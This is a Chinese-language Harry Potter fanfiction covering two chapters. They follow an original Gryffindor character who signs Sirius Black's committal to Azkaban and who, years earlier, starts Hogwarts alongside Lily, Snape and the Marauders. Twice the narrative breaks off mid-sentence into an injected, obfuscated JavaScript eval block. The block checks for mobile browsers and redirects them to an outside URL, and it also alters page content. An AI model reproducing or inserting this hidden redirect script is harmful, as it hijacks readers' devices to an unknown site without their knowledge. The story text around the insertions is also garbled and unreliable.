《【hp】格兰芬多宿舍第五人》 1. 五千金加隆 伏地魔倒台的那个夜晚,整个魔法世界陷入了前所未有的狂欢。火焰威士忌的泡沫几乎淹没了每一家酒馆的地板,欢呼声浪直冲云霄,淹没了长久以来盘踞在人们心头的恐惧。预言家日报的号外漫天飞舞,头版是哈利·波特那张带着婴儿肥的懵懂脸庞,以及邓布利多宣布“那个连名字都不能提的人”已被击败的声明。 然而,魔法部里魔法法律执行司的灯光,在那之后从未熄灭过。彻夜通明的大厅里,弥漫着咖啡的苦涩、羊皮纸的陈旧油墨味,以及一种紧绷的、近乎窒息的忙碌。毕竟狂欢属于外面,这里只有清算。 埃米洛·德蒙特坐在审判室旁的一个小隔间里,身上穿着熨烫得一丝不苟的执行官深色长袍。他的上司巴蒂·克劳奇,一个以铁腕和效率著称的男人,坐在他旁边的主位上。最中间的审判室里正上演着一场又一场的闹剧。 里面的人有些是臭名昭著的食死徒,带着镣铐,眼神疯狂或空洞,用最恶毒的诅咒和荒谬的诡辩为自己开脱;有些则是惊恐万状、试图撇清关系的所谓“被胁迫者”,声泪俱下地控诉着黑魔标记的恐怖。辩护律师苍白无力的陈词与检方冰冷的证据宣读交织在一起,形成一种令人麻木的噪音。 埃米洛的面前堆叠着几乎要倒塌的卷宗和待审文件,每一份都代表着一个破碎的家庭、一段被黑暗侵蚀的过去。他手中的羽毛笔在羊皮纸上快速划过,记录着要点,眼神专注而冰冷,像在处理流水线上的零件,将那些咆哮、哭泣和求饶,压缩成简洁的法律术语和待办事项。 克劳奇拿起一卷羊皮纸,重重地拍在埃米洛手边那堆“待处理”文件的最顶端。 “德蒙特,”克劳奇的声音带着一种长期缺乏睡眠的沙哑和不容置疑的严厉,“这一批,证据确凿,无可辩驳。程序走完了,直接签押送令,投进阿兹卡班。立刻执行。” 埃米洛放下笔,拿起那卷沉重的羊皮纸。他解开丝带,羊皮纸哗啦一声展开,露出长长一串名字,每个名字后面都附有简短的罪行摘要和“证据充分”的戳记。他的目光顺着名单快速下移,像一台精准的扫描仪。直到一个被特别标红、加粗的名字刺入眼帘—— 西里斯·布莱克 他的指尖在冰冷的羊皮纸上停顿了两秒。这个名字,像一个沉入湖底多年的锚,突然被搅动了一下,带起一丝微不可察的涟漪。昔日格兰芬多塔楼的喧嚣、四个人勾肩搭背笑成一团的背影、那张总是带着傲慢笑容的英俊脸庞……在脑中一闪而过,随即被眼前这行冰冷的“谋杀彼得·佩迪鲁及十二名麻瓜”的指控彻底覆盖。 坐在埃米洛另一边的阿米莉亚·伯恩斯微微倾身,压低声音对克劳奇说道:“克劳奇司长,关于布莱克……是否需要再深入审问一下?现场目击者只有小矮星彼得留下的手指……而且指控来得如此迅猛,这……” “伯恩斯!”克劳奇猛地转过头,眼神锐利得像刀子,带着压抑不住的戾气,“你什么时候也变得如此优柔寡断?证据链完整!十二个麻瓜的尸体还在那儿!彼得·佩迪鲁尸骨无存!布莱克当场狂笑被捕!还要审问什么?你忘了他出身哪里么?再审下去,只会给这些家里有钱有权、四处钻营走动的食死徒提供‘走后门’的机会!现在是战争结束的关键时刻,我们需要的是效率!是震慑!不是妇人之仁!” 他用力捏了捏自己的鼻梁,仿佛要将所有的疲惫和烦躁都压下去:“执行命令!” 阿米莉亚嘴唇动了动,最终还是沉默地坐了回去,脸上带着一丝忧虑和不认同。 埃米洛靠在冰冷的墙壁上,克劳奇的训斥声还在耳边嗡嗡作响。就在这时,两张小小的、折叠起来的纸条,悄无声息地通过魔法部内部的信息传输网,精准地飘落在他的桌角。 他面无表情地拿起第一张展开。是魔法部薪资结算处的例行通知: 【本月工资(含战时津贴)已发放至古灵阁账户。】 第二张纸的触感更硬一些,印着圣芒戈魔法伤病医院的徽记。他展开它,目光落在简洁而冰冷的印刷体字句上: 【死亡通知】 患者姓名:艾莲娜·德蒙特 入院日期:1975年12月4日 死亡时间:1981年6月2日 13:17 死亡原因:长期魔力枯竭引发多器官衰竭 主治治疗师:埃罗尔·希格斯 请节哀。并在周日前办理好相关手续,后续工作请联系入殓师。 埃米洛握着纸条的手指关节微微泛白,脸上那副面对上司和工作的冰冷面具没有丝毫变化。他平静地将两张纸条折好,放进了长袍内侧的口袋里,仿佛只是处理了两份无关紧要的备忘录。目光重新落回那份标红的名单上,文件需要五个人的签名,属于他名字的位置等待着他落笔。 冗长而压抑的工作终于接近尾声。克劳奇挥了挥手,对隔间里所有熬得双眼通红、面色灰败的职员们说:“今天就到这里,辛苦了,都回去吧。” 人群如蒙大赦般迅速散去,脚步声在空旷的走廊里回荡。克劳奇叫住了正要起身的埃米洛:“德蒙特,留一下。” 埃米洛停下动作,转过身,依旧是那副无可挑剔的恭敬姿态:“司长。” 克劳奇踱步到他面前,锐利的目光审视着他,带着一丝不易察觉的、对得力干将的满意。“这批犯人,”他指了指那份签好名的羊皮纸,手指在那个签名的地方碾过,声音低沉而充满压迫感,“最重要的一批。他们的定罪,向所有人宣告了魔法部铲除黑魔势力的决心和力量。记住,在这个非常时期,宁可错判,也绝不能放过任何一个潜在的威胁。任何犹豫,都是对牺牲者的亵渎。” “我明白,司长。证据确凿,罪不可赦。”埃米洛流畅地回应,声音平稳,脸上是面对克劳奇时一贯的、略显疏离的假面,“程序会严格执行。” “很好。”克劳奇点了点头,目光扫过埃米洛手里那个款式有些旧的皮包,眉头微不可察地蹙了一下。他上前一步,声音压得更低,带着一种上位者的暗示:“德蒙特,你最近的表现……部里高层都看在眼里。是时候,换一个……符合你未来身份的皮包了。” 他拍了拍埃米洛的肩膀,力道不轻不重,带着不容置疑的意味,“这次任务就是最好的敲门砖。” “感谢司长提点。”埃米洛微微颔首,脸上适时地露出一丝克制的、职业化的感激。 克劳奇终于满意地转身离开。 当最后一个脚步声消失在走廊尽头,埃米洛才缓缓直起身。他沉默地收拾好自己的东西,将那份决定十几个人命运的羊皮纸卷好收进旧皮包里。走出魔法部那厚重、象征着权力与秩序的大门时,道路上巫师们狂欢的余音似乎还未散尽,但阴冷的夜风瞬间包裹了他。 肩膀几乎是肉眼可见地沉了下去,仿佛卸下了千斤重担,又像是被抽走了最后一丝支撑的力气。他的面色依旧冷淡,甚至可以说是漠然,但那双深陷在眼窝里的眼睛,以及眉宇间浓得化不开的疲惫,让任何一个擦肩而过的人都能清晰地感受到——这个人,已经累到了骨髓里。 他没有停留,甚至迎面而来的巫师想要和他击掌都没有理会。 “啪!” 空气爆裂的轻响后,他的身影消失在原地。 下一刻,他出现在古灵阁那冰冷、高大的青铜大门前。深夜的古灵阁透着森严和寂静。他走进去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走出古灵阁那沉重的大门,深夜的寒气更甚。埃米洛下意识地紧了紧长袍。就在他准备再次幻影移形离开时,一个坐在古灵阁台阶阴影里、靠着冰冷石柱的身影,猛地站了起来,拦在了他面前。 那是一个极其憔悴的男人。身上裹着一件洗得发白、打着补丁的粗呢大衣,身形瘦削得厉害,仿佛一阵风就能吹倒。他脸上带着新鲜的细小伤口和淤青,头发灰白而凌乱,整个人被一种浓得化不开的、深入骨髓的悲伤笼罩着,眼神浑浊而绝望——是莱姆斯·卢平。 埃米洛的脚步没有丝毫停顿,甚至眼神都没有在他身上聚焦,仿佛眼前只是一团模糊的空气。他目不斜视,就要从卢平身边跨过去。 “埃米洛!”卢平的声音嘶哑干涩,带着一种濒临崩溃的哭腔,他试图抓住埃米洛的胳膊,“……克劳奇……他未经完整的审判程序,没有威森加摩的最终裁决,就把小天狼星……直接关进了阿兹卡班!……” 埃米洛的手臂像铁铸的一般,轻易地挣脱了卢平无力的抓握。他没有停下,也没有回头,继续沿着台阶往下走,仿佛什么都没听见。 “埃米洛!”卢平在他身后绝望地大喊,声音破碎得不成样子,眼泪终于涌出,混着脸上的污迹流下,“他会被摄魂怪逼疯的!他……他至少需要一次公正的审判……” 埃米洛的脚步终于顿住了。他没有回头,只是缓缓地望向上空那沉沉的、铅灰色的夜幕。明明伏地魔死了,可为什么这天空,还是这么阴?这么冷?一丝光都透不下来。 冰冷的空气凝固了许久。 “……你应该知道,”埃米洛的声音终于响起,比冬夜的风还要冷,没有任何情绪,平静地陈述着一个事实,“我和他们……关系很差。” 话音落下的瞬间,他再次挥动了魔杖。 “啪!” 空气爆裂的轻响再次响起。台阶上,只剩下莱姆斯·卢平一个人。他佝偻着背,像一尊瞬间被抽走了灵魂的雕像,脸上还挂着未干的泪痕。他呆呆地望着埃米洛刚才站立的地方,眼神空洞,只剩下无边无际的悲伤和叹息。 2. 一个铜纳特 格兰芬多的象征是一头雄狮,旗帜是燃烧般的金色与炽热的红色。它象征着蓬勃的生命力,展现出无与伦比的威严与自信。人们都说格兰芬多是勇敢者的学院,这里似乎天生就盛产校园明星——他们总是那么有趣,那么耀眼,仿佛自带光芒。 然而,在格兰芬多所有的学生中,埃米洛是个不起眼的存在。 他没什么煊赫的出身。父亲守着祖上传下的一爿魔法用具小店,收入勉强维持家用。母亲是个典型的家庭主妇,温顺、依赖,对出门和社交带着一丝怯意。她精打细算,每个月初都会在一张泛黄的纸上细细列出开支规划,字迹工整,仿佛那是抵御生活的堡垒。然而,这堡垒常常在夜晚被父亲轻易攻破——德蒙特先生格外好面子,尤其是在那些昔日同窗和所谓“有脸面”的客户面前。即使囊中羞涩,他也要硬撑着请客吃饭,豪气地开启餐厅里最贵的那瓶酒,仿佛那酒液能洗刷掉生活的窘迫。 入学前,德蒙特先生说半大的孩子用不着全新的。于是,在姑姑和叔叔混合着鄙夷与无奈的目光中,一家人登场又退场。来时两手空空,走时却捎走了表哥表姐淘汰的旧课本、旧袍子,外加一兜子水果和一瓶酒(大概是从餐厅顺来的)。 “你得学着点,别总像个锯了嘴的葫芦,”德蒙特先生语气严厉,目光像鞭子一样抽在埃米洛身上,“亲戚、朋友、同学,这都是你的人脉,将来遇事能帮上大忙的。” 埃米洛继承了母亲的细致。他把借来的每一样东西都工工整整地记在一个小本子上。他是个脸皮薄的孩子,这种近乎无止境的亏欠感像藤蔓一样缠绕着他,即便是对自家亲戚,也让他喘不过气。他全身上下,从磨损的袍角到划痕的课本,都散发着“二手”的气息。只有那根魔杖是簇新的——母亲偷偷领着他买的:冷杉木,独角兽的毛,十二英寸长。从他拿到它的那天起,母亲的叮嘱就像背景音一样萦绕耳边:“小心点用,埃米洛,千万别像那些不知轻重的孩子,拿它去干架……” 登上霍格沃茨特快那天,他运气出奇地好,竟找到了一间空着的单人包厢。关上门,隔绝了站台上的喧嚣和父母的影子,他长长地舒了一口气。耳边只剩下车轮碾过铁轨发出的单调而规律的“哐当哐当”声。倚在窗边,望着飞速后退的田园风光,埃米洛也和所有新生一样,开始编织关于城堡、学院和未来的幻想。 旅程漫长。大约走了四分之一路程时,包厢的门被轻轻叩响了。 “……请进。”埃米洛的声音带着一丝被打扰的迟疑。 门被推开,走进来两个人。领头的是一位红发女生,发色如同燃烧的火焰,面容秀气而明丽,碧绿的眼睛里带着礼貌的探询。她身后跟着一个男孩,脸色苍白,身形瘦削得近乎嶙峋,油腻的黑发垂在脸颊两侧,穿着一件显然不合身的旧斗篷。 “抱歉打扰,”红发女生的声音清脆悦耳,“请问我们可以坐这里吗?其他包厢似乎都满了。” “没问题。”埃米洛压下心头那点被打断独处的失落,挪了挪位置,腾出空间,“这里就我一个,你们随意。” “谢谢!我叫莉莉·伊万斯。”女生一边放下行李一边自我介绍,又指了指身后的同伴,“这位是西弗勒斯·斯内普。” “埃米洛·德蒙特。”他报上名字,声音不高。 埃米洛没有询问他们为何此时才找到空位。他低下头,假装专注地翻看一本《标准咒语,初级》,实则用眼角的余光默默观察着这对显然早已熟识的同伴。见他无意攀谈,两人也默契地没有搭话,很快凑到包厢的另一角,压低声音讨论起即将到来的分院。 分院……埃米洛的心绪也被勾了起来。临行前,父亲德蒙特先生曾严厉地警告他:“不许分到赫奇帕奇!” “那里尽是些平庸之辈,”父亲当时厌恶地皱起眉头,仿佛想起了什么不堪的往事,“最好是去斯莱特林。那里能结识真正有价值的人脉,我当年就受惠于不少老同学。人脉就是资源,埃米洛,记住了。” “……斯莱特林聚集着许多古老家族的后裔,人脉价值很高。”西弗勒斯·斯内普低沉的声音飘了过来,带着一种与年龄不符的世故。 埃米洛翻书的手指几不可察地顿了一下。他的目光扫过男孩那件和自己一样打着补丁、袖口磨损的旧斗篷,还有那条明显短了一截、露出脚踝的裤子。 “可是……我是麻瓜出身,”莉莉的声音带着一丝不易察觉的紧张,“那里……真的会适合我吗?” “我希望你能和我一起……”西弗勒斯避开了问题的核心,声音含糊下去。 两人陷入了短暂的沉默。埃米洛明白,莉莉大概已经从同伴的沉默中读懂了答案——斯莱特林的大门,对麻瓜出身者并不真正敞开。他收回目光,重新聚焦在书本上。同龄人这种关于“价值”和“归属”的讨论,像一块无形的石头,沉甸甸地压在他心头。他害怕成为父亲口中的“平庸之辈”,被塞进赫奇帕奇;但斯莱特林那种父亲推崇的、功利而森严的氛围,又让他本能地感到抵触和窒息。 当分院帽扣在他头上时,一片黑暗和嘈杂的思绪中,一个细微而清晰的声音在他脑中响起:“嗯……比你想象的要坚定得多,孩子。你心里藏着一种深沉的勇气,只是需要点燃……是的,毫无疑问,格兰芬多会是最能激发你潜力的地方!” “格兰——芬——多!”帽子洪亮的声音响彻礼堂。 埃米洛有些懵然地走向欢呼鼓掌的格兰芬多长桌,脚步轻飘飘的。愿望成真的轻松和巨大的快乐像暖流一样冲刷着他,几乎让他晕眩。红金色的旗帜在眼前招展,仿佛真的有一只狮子在对他咆哮,欢迎他回家。 然而,这份纯粹的喜悦仅仅持续到第二天早餐时分。一只灰扑扑的猫头鹰将一封信丢在他面前的餐盘里,溅起几滴牛奶。拆开父亲熟悉的潦草字迹,德蒙特先生的“教诲”如期而至:虽然没能进入斯莱特林有些遗憾,但格兰芬多同样不乏“优秀人才”,务必在校期间与他们“处好关系”,编织“有用的人脉网络”。 冰冷的现实像一盆冰水,瞬间浇熄了埃米洛心中对新生活的所有热切期待。他面无表情地把信折好,夹进厚重的《魔法药剂与药水》课本里,仿佛想用知识的重量将它彻底压扁、遗忘。 就在这时,一声震耳欲聋的咆哮撕裂了礼堂的喧嚣! “西里斯·布莱克!你这个家族的叛徒!不肖的孽子——!” 一封鲜红的吼叫信在西里斯·布莱克面前疯狂抖动,布莱克夫人那歇斯底里的尖叫如同魔咒,冲击着每个人的耳膜。整个礼堂瞬间鸦雀无声,所有目光都聚焦在格兰芬多长桌。 “梅林的胡子啊!”坐在西里斯旁边的詹姆·波特夸张地捂住耳朵,脸上却带着幸灾乐祸的笑,“你老妈至于吗?你是分到了格兰芬多,又不是被扔进了阿兹卡班!” “在她看来,这两者大概没什么区别。”西里斯懒洋洋地嗤笑一声,修长的手指随意一揉,那封还在喷溅火星的信件瞬间化为一撮灰烬,被他优雅地弹开。“说不定我去阿兹卡班,她还会更开心点。” 詹姆和西里斯,埃米洛的室友,两人显然已经成了形影不离的铁哥们。昨晚在宿舍,他们激昂的谈笑和关于恶作剧的奇思妙想就几乎掀翻了天花板。埃米洛的四个室友性格迥异:热情洋溢、活力四射的詹姆·波特;英俊不羁、举手投足间带着古老家族优雅与叛逆混合气质的西里斯·布莱克;温和沉静、眼神总带着一丝疲惫忧郁的莱姆斯·卢平;以及总是缩手缩脚、眼神闪烁、说话结结巴巴的彼得·佩迪鲁。 开学第一晚,詹姆就热情地分享了从家里带来的、包装精美得如同礼物的零食,并发表了一通关于“要做一辈子好兄弟”的即兴演说。西里斯一边吐槽他“肉麻”,一边嘴角却带着笑;莱姆斯温和地鼓了掌;彼得则激动得脸通红,结结巴巴地说“这、这是我的荣幸”。 埃米洛性格慢热,对这种扑面而来的热情感到有些无所适从。何况对方是波特家的独子,与自己明显处于不同的世界。更关键的是,他们似乎天生就带着“麻烦制造机”的标签——开学仅仅一周,就联手为格兰芬多贡献了负五十分的“辉煌”战绩。他没有刻意疏远,平时跟着他们一起上下课,但课后那些探索密道、夜游城堡的活动,他总是找理由婉拒。 他更喜欢霍格沃茨的图书馆。那里有高耸至天花板的书架,弥漫着旧羊皮纸、墨水和木头混合的宁静气息。有作业时,他就在靠窗的位置安静书写;没作业时,便沉浸在教授们推荐的书籍里,在知识的海洋中徜徉。傍晚时分,金色的阳光斜斜地穿过高大的拱窗,洒落在摊开的书页上,每一个字母都被镀上了一层温暖的光晕。埃米洛常常凝视着这景象,那句古老的格言——“知识就是黄金”——在此刻变得无比具象而动人。好好学习,每一年都拿到漂亮的成绩单,为五年级的O.W.Ls考试打下坚实基础,然后在那场至关重要的考试中脱颖而出,将来获得一份体面的、无需仰人鼻息的工作——这就是埃米洛为自己规划的、清晰而踏实的未来蓝图。他愿意为这个目标付出所有的专注和努力。 魔法史课上,宾斯教授用他那毫无起伏的、如同催眠曲般的语调讲述着妖精叛乱,沉闷的空气让整个教室都昏昏欲睡。坐在埃米洛旁边的莱姆斯,苍白脸上挂着浓重的黑眼圈,用胳膊肘轻轻碰了碰他,压低声音说:“……埃米洛,我感觉自己下一秒就要去见梅林了。” 埃米洛正一丝不苟地在羊皮纸上记录着叛乱的日期、导火索和深远影响,闻言头也没抬:“睡吧。下课我把笔记借你。” “太感谢了,埃米洛。”莱姆斯如蒙大赦,感激地拍了拍他的肩,随即效仿周围那些摇摇欲坠的同学,将厚重的课本竖起来,当作脆弱的屏障。 “宾斯这课简直是时间谋杀器……”坐在他们后排的詹姆用羽毛笔的尾端戳了戳埃米洛的后背,“好兄弟,笔记也借我一份呗?” “我直接复制四份,”埃米洛笔下不停,又写下一条关于妖精战争对古灵阁影响的分析,“晚上放你们床头。” “梅林保佑你,埃米洛!你简直是格兰芬多的救星!”詹姆的声音充满了真诚的感激,“对了,今晚跟我们一起出去吗?有个绝妙的点子……” 埃米洛记笔记的手几不可察地顿了一下。旁边的西里斯发出一声慵懒的嗤笑:“动动你那被巨怪踩过的脑子,詹姆。好学生怎么可能参与我们这种‘午夜冒险’?” “……”埃米洛面无表情地将羊皮纸翻过一页,发出轻微的沙沙声,“玩得开心。别被费尔奇和他的猫堵在密道里就行。” 下一节是飞行课。詹姆一听到下课铃响就第一个冲出了魔法史教室,兴奋的嚷嚷声在走廊里回荡:“我三岁就能骑着玩具扫帚绕着波特老宅飞了!去年暑假,我跟着父亲从戈德里克山谷出发,一路飞到伦敦市中心!虽然落地时我感觉自己的脸都被风吹歪了,但那种感觉……伙计们,那才是真正的自由飞翔!” “梅林啊,詹姆,你真厉害!”彼得跟在后面,语气里充满了纯粹的崇拜和一丝自卑,“我……我连真正的飞天扫帚都没摸过呢。” “什么?不会吧彼得!”詹姆惊讶地回头,语气夸张,“那你童年都玩什么?跟地精拔河吗?那也太无聊了!” 彼得的脸瞬间涨得通红,头埋得更低了,脚步也不自觉地慢了下来,和同样落在后面的埃米洛并排。 “没关系的,彼得,”走在前面的莱姆斯停下脚步,转过身,对他露出温和安抚的笑容,“我也没真正骑过扫帚呢。说实话,想想还有点小紧张。” 彼得胡乱地点点头,眼神躲闪地瞥了一眼旁边的埃米洛:“你……你有骑过吗,埃米洛?我记得你父母都是巫师……” 埃米洛的目光掠过彼得紧张绞在一起的手指,简短地回答:“……没有。” “那就好……”彼得像是松了口气,随即又意识到什么,连忙补充,“我是说……大家都没基础,我就放心了。啊……詹姆和西里斯懂得真多啊,他们什么都会……”他的声音越来越小,带着一种习惯性的、无意识的奉承。这种语气像细小的砂纸,摩擦着埃米洛的神经,让他莫名烦躁。他加快脚步,几步赶上了莱姆斯,和他讨论起前天布置的关于火星逆行轨迹的天文学作业。 九月的苏格兰高地,天气好得不像话。天空是澄澈的蓝宝石色,阳光明媚却不灼人,微风裹挟着青草和泥土的清新气息拂过脸颊。霍琦夫人站在魁地奇球场边缘的扫帚棚旁,身姿挺拔如标枪。她锐利的、鹰隼般的目光扫过聚集在草坪上的小巫师们,叽叽喳喳的讨论声瞬间平息。 “哦,晦气,斯莱特林。”詹姆像是看到了什么不洁之物,嫌恶地皱了皱鼻子。 “差点忘了这课跟他们一起上……”他小声嘀咕,“这么好的天气,全让这群阴沟里的蛇搅和了。” 格兰芬多与斯莱特林的宿怨由来已久。热情鲁莽、追求正义的狮子们,看不上毒蛇们精于算计、讲究血统的做派;而斯莱特林则鄙夷格兰芬多的冲动无脑。冲突在开学短短几天内就已火花四溅。 “看到那边那两个了吗?”莱姆斯用眼神示意斯莱特林队伍中两个勾肩搭背、面带讥诮的男生,“埃弗里和穆尔塞伯。昨天在走廊,他们堵住西里斯,说‘就算你自甘堕落进了狮子窝,斯莱特林的大门永远为你敞开’。詹姆当场就跟他们吵起来了,后来……嗯,演变成了魔咒乱飞的‘走廊攻防战’……西里斯那个镶着家徽的、据说很贵很贵的古董怀表,被埃弗里一个恶咒打成了碎片……” “我迟早把埃弗里的脑袋也打成碎片,”詹姆咬牙切齿,拳头捏得咯咯响,“敢动我兄弟,活腻了!” 西里斯一脸无所谓地耸耸肩:“一个破怀表而已,家里多得是。”但他随即揽住詹姆的肩膀,两人退后几步,凑在一起压低声音密谋起来,脸上浮现出那种让莱姆斯深感不安的、恶作剧即将得逞的兴奋光芒。 “我猜他们在策划一场针对性的‘复仇行动’,”莱姆斯无奈地叹了口气,“詹姆的斗志空前高涨……昨晚你没回来,他们嘀咕了半宿,计划好像是把埃弗里和穆尔塞伯的鼻子变成会哼哼的猪鼻子。” “课上打架会被扣分,扣很多分。”埃米洛皱紧了眉头,这关系到学院杯,以及他的奖学金。 “但愿他们所谓的‘分寸’能拦得住冲动的魔鬼……”莱姆斯的声音没什么底气。 霍琦夫人一声尖利的口哨,所有人迅速在她面前排成两列,每个人的脚边都躺着一把看起来饱经风霜、枝杈稀疏的旧扫帚。她先是清晰地讲解了握姿、平衡要点和起飞要领,接着便发出指令:“现在,所有人!伸出你们的右手,放在扫帚把上方,用坚定、清晰的语气说——‘起来(Up)’!” “起来!”埃米洛沉声命令,目光专注。脚边那把帚柄布满凹痕的扫帚先是懒洋洋地滚动了一下,随即猛地一跳,稳稳地落入了他的掌心。他感受到粗糙木柄摩擦皮肤的触感,一种奇异的联系似乎正在建立。 “很好!现在,所有人跨上扫帚!抓稳!稳住重心!脑子里只想着‘坐稳’这一件事!听我哨声——”霍琦夫人锐利的目光扫过全场,“三——二——一——!” “嘟——!”哨声刺破空气。 埃米洛双脚用力一蹬地面!一股强大的推力瞬间从身下传来,扫帚如同被唤醒的猛兽,猛地将他托向空中!气流呼啸着掠过耳边,失重感让他心跳加速。 “干得漂亮,德蒙特!”霍琦夫人骑着扫帚灵活地飞到他身边,声音里带着赞许,“试着控制它向前,孩子!感受风的方向!” 埃米洛深吸一口气,将全部心神凝聚在身下的扫帚上。他微微前倾身体,意念集中。扫帚顺从地向前平稳滑行,风更猛烈地吹拂着他的头发和袍角,脚下的草坪、远处的黑湖、巍峨的城堡都开始匀速后退。一种前所未有的自由感攫住了他,嘴角不由自主地向上弯起一个轻松而真实的弧度。 地面上仍是一片混乱。莱姆斯在两次笨拙的离地后终于成功升空,正有些紧张地悬停着。而彼得的情况则糟糕得多——他的扫帚像被施了疯癫咒,在空中疯狂地翻滚、扭动。彼得死死抱住扫帚柄,脸色惨白,发出惊恐的嚎叫,眼泪在眼眶里打转。詹姆和西里斯围着他上下翻飞,一边大声指点,一边毫不客气地哈哈大笑,西里斯甚至调侃他“活像一只被施了混淆咒、误以为自己能飞的胖老鼠”。 又折腾了好一会儿,在詹姆和西里斯连哄带吓的帮助下,彼得终于哆哆嗦嗦地稳住了扫帚,悬停在空中。他惊魂未定,用那双红通通、湿漉漉的眼睛无比热切地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15859210|175933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仰望着两人,仿佛他们是从摄魂怪手下拯救了他的英雄。詹姆得意地朝不远处的莱姆斯挥挥手。莱姆斯犹豫地看了一眼还在更高处悠然盘旋的埃米洛,但埃米洛的目光似乎被远处的风景吸引,并未回应。莱姆斯最终还是操控着扫帚,带着一丝不易察觉的局促,飞向了詹姆和西里斯的方向。 埃米洛绕着霍琦夫人划定的训练区域又平稳地飞了几圈,感觉对扫帚的掌控越发得心应手。一种隐秘的冲动在心底滋生。趁着霍琦夫人的注意力被一个摇摇晃晃的斯莱特林新生吸引,他操控扫帚猛地一个拔高,向着训练场边缘无人注意的角落飞去。 扫帚带着他轻盈地画了一个漂亮的大圆圈,风在耳边呼啸,城堡的尖顶在脚下旋转。心跳在胸腔里有力地搏动着,一种冒险的快感油然而生。他舔了舔有些发干的嘴唇,准备尝试一个书上看到的、更倾斜的转弯动作—— “德蒙特!” 一个熟悉而清脆的声音从下方传来。 埃米洛压下扫帚,循声望去。女孩那头鲜艳如火的红色卷发在阳光下像一团蓬松的云朵,她正仰着头,脸上带着友好而略带焦急的笑容。 “伊万斯?”埃米洛控制扫帚稳稳地悬停在她上方几英尺处,“有事?” 莉莉·伊万斯。火车上同包厢的红发女孩,如今也是格兰芬多的同学。除了开学初那声招呼,他们几乎没有交集。宿舍里,詹姆没少抱怨她总和斯莱特林的“鼻涕精”(指西弗勒斯)混在一起,是“格兰芬多的叛徒”。 “太好了!”莉莉明显松了口气,语速加快,“能请你帮个忙吗?玛丽的扫帚好像出了点问题,一直在抖,根本没法骑稳。霍琦夫人现在在斯莱特林那边处理另一个学生摔伤。我们不太懂扫帚……她已经摔下来好几次了。”她恳切地看着埃米洛,旁边站着玛丽·麦克唐纳,女孩的膝盖处袍子沾了泥土,隐隐透出血迹,正愁眉苦脸地盯着地上那把兀自颤抖、如同患了疟疾般的扫帚。 埃米洛的目光落在那把异常抖动的扫帚上,又敏锐地扫向斯莱特林的队伍。那边看起来一切正常,学生们都在专注练习。但在人群边缘,一个瘦削、苍白的黑发身影似乎飞快地朝这边瞥了一眼,又迅速低下头,假装摆弄自己的扫帚尾枝。 “……不是扫帚的问题。”埃米洛的声音冷了下来,他迅速抽出自己的魔杖,杖尖精准地指向地上抽搐的扫帚。 “咒立停(Finite Incantatem)!” 一道无形的波动从杖尖射出,精准地击中目标。那疯狂抖动的扫帚如同被抽走了骨头,发出一声沉闷的“啪嗒”响,彻底瘫软在地,不再动弹。埃米洛降落到地面,弯腰将它捡起,掂量了一下,木柄冰冷。 “扫帚被人施了恶作剧咒语。”他的结论斩钉截铁。 两个女孩惊愕地对视了一眼,眼中都充满了后怕和愤怒。“谁……谁会做这么恶劣的事情?”莉莉的声音带着难以置信的颤抖。 “先用我的吧。”埃米洛将自己的扫帚递给惊魂未定的玛丽,“这个我拿去给霍琦夫人。” “哦!太谢谢你了,埃米洛!”玛丽接过扫帚,受宠若惊,连忙说道,“我、我宿舍有妈妈寄来的酥糖,晚上请你吃!” “举手之劳,不用客气。”埃米洛避开两个女孩感激的目光,拎着那把被“诅咒”的扫帚,大步流星地朝着球场另一端的霍琦夫人走去。他能感觉到背后那道来自斯莱特林方向的、冰冷而充满敌意的视线,如同芒刺。 “他人其实挺不错的嘛!”在他走远后,玛丽惊讶地对莉莉小声说,“虽然和波特那群麻烦精一个宿舍,平时看着也冷冰冰的……但关键时候很可靠!而且没有波特他们那种讨厌的傲慢劲儿。” “希望他能一直保持这样,别被那群人带偏了。”玛丽双手合十,小声祈祷。 莉莉若有所思地点点头:“好了,我们继续练习吧。小心点,玛丽。” 当天傍晚,玛丽还是在格兰芬多公共休息室找到了埃米洛,硬塞给他一盒包装朴素的酥糖,散发着黄油和坚果的香气。“我妈妈做的,她说一定要谢谢你!”玛丽脸颊微红。莉莉站在她旁边,注意到埃米洛臂弯里抱着好几本厚重的书。 “要去图书馆吗,埃米洛?”莉莉问道。 埃米洛点点头。 “我和玛丽也正准备去,”莉莉露出一个明媚的笑容,“如果你不介意的话,我们可以一起?也许能讨论下斯拉格霍恩教授那个……嗯,‘颇具挑战性’的魔药论文?” 埃米洛想起那篇让他绞尽脑汁、关于月光石和嚏根草在缓和剂中协同作用的论文,又猛然记起斯拉格霍恩不止一次在课上盛赞莉莉的魔药学天赋。他略一沉吟,点头应允:“可以。” 图书馆的橡木长桌旁,温暖的灯光下,莉莉的论文草稿让埃米洛暗自惊叹。思路清晰,逻辑严密,更令人拍案的是她提出的一个新颖观点:将水仙花球茎粉末与两耳草汁液按特定比例预混合,作为一种中间催化剂加入缓和剂基础液中,能显著提高药效稳定性和反应速率。论证过程有理有据,实验数据详实。 埃米洛反复看了几遍那段关键论述,终于忍不住指着那几行娟秀的字迹问道:“这个混合催化剂的思路……你是怎么想到的?课本和《高级魔药制作》里都没有提及。” “哦,这个啊,”莉莉有些不好意思地笑了笑,压低声音,“是前几天和西弗……嗯,斯内普一起在空教室做课外实验时偶然发现的。他懂得非常多,尤其是在魔药材料的特性方面。我们经常一起讨论,尝试一些课本之外的组合。” “他下午是魔咒课,应该快下课了,”莉莉看了看墙上的魔法挂钟,“待会儿他可能会过来找我们讨论……” 话音未落,一个熟悉的、带着阴沉气息的身影出现在他们桌旁。正是列车上那位同伴。 “莉莉。”斯内普的目光先落在莉莉身上,然后才像不经意般扫过埃米洛,带着审视。 “西弗勒斯!你来得正好!”莉莉热情地招呼他坐下,“来认识一下,这位是——” 